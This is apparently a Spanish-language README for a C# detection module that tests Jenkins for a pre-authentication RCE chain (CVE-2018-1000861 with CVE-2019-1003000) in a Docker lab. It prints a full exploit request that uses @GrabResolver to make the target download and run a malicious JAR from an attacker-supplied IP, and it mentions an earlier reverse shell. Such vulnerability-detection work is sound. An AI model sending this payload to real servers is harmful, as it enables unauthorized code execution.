
Un módulo de C# para detectar si un servidor Jenkins es vulnerable a la vulnerabilidad RCE encontrada en CVE-2019-1003000 (encadenada con CVE-2018-1000861 para RCE previo a autenticación).
Encadenando la vulnerabilidad CVE-2018-1000861 con CVE-2019-1003000, creé un módulo para probar un RCE sin autenticación en Jenkins CI. Inicialmente, intenté detectar la vulnerabilidad con un nombre de usuario, contraseña y nombre de trabajo; sin embargo, pensé que sería más realista e interesante abordar este desafío encadenando las dos vulnerabilidades juntas.
Tener Visual Studio o el framework .NET Core instalado en tu máquina Windows, Linux o macOS.
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh
chmod +x mvDir.sh. Si aún no funciona, puedes ejecutarlo como bash mvDir.sh./run_vuln_jenkins.sh
http://localhost:8080)./run_updated_jenkins.sh o bash run_updated_jenkins.sh iniciará un servidor Jenkins seguro y actualizado ejecutándose en http://localhost:8000 y ejecutar el módulo contra este mostrará que es seguro y no vulnerable a CVE-2018-1000861 encadenado con CVE-2019-1003000.La planificación inicial que había creado fue un buen marco de trabajo para cómo abordé la solución; sin embargo, a medida que avanzaba descubrí que estaba complicando mucho el trabajo más de lo necesario. Inicialmente había creado un script bash para lanzar una reverse shell a mi máquina host para probar RCE. Sin embargo, el objetivo de este desafío era demostrar que la vulnerabilidad existía. En este caso, era demostrar que se podía ejecutar un RCE en Jenkins versión 2.121.2 con los siguientes plugins: Pipeline: Declarative Plugin hasta 1.3.4, Pipeline: Declarative Extension Points API hasta 1.3.4, Pipeline: Groovy Plugin hasta 2.61, Script Security Plugin hasta 1.49.
No necesitaba realmente crear una reverse shell y demostrar que puedo lanzar comandos arbitrarios. Debido a esto, es más fácil de detectar tanto en Windows como en sistemas operativos basados en .nix. Después de hacer la solicitud GET, descubrí que la página responderá con un estado marcado como éxito o imprimirá un mensaje de error. Sin embargo, para asegurarme de que el estado de éxito no fuera un falso positivo, configuré un servidor web en mi host usando python -m SimpleHTTPSever 80 y al lanzar la solicitud GET personalizada al archivo JAR malicioso especificado (que se encuentra en la carpeta payload), se puede ver que la solicitud GET responde con un código de estado 200 con la ruta correcta al archivo jar que se encuentra en la máquina local, probando que la vulnerabilidad existe. A continuación se muestra un ejemplo de la solicitud GET y la respuesta correspondiente. Las diferentes rutas de archivos (tw/ y www/) contienen cada una el jar malicioso; solo son diferentes rutas que la solicitud navega para encontrarlo.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

dotnet buildPara ejecutar el módulo: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http:// o de lo contrario el programa lanzará una excepción HTTP y tendrás que ejecutarlo de nuevo.Opciones de Parámetros
| Abreviado | Largo | Descripción |
|---|---|---|
| -uname | --username | Nombre de usuario de Jenkins |
| -p | --password | Contraseña de usuario de Jenkins |
| -u | --url | URL objetivo |
| -ip | --dirección ip | Dirección IP |
| -v | --verbose | Salida detallada |
-p, -uname aún no se han implementado ya que solo creé el módulo para detectar un RCE sin autenticación, ya que pensé que sería más realista para Detectify porque creo que el escáner de la empresa solo apuntaría a un dominio objetivo (y no tendría parámetros personalizados como una contraseña y nombre de usuario, ya que eso también sería inseguro para que otra empresa los entregue a otra, incluso si está tratando de ayudar a mejorar su postura de seguridad).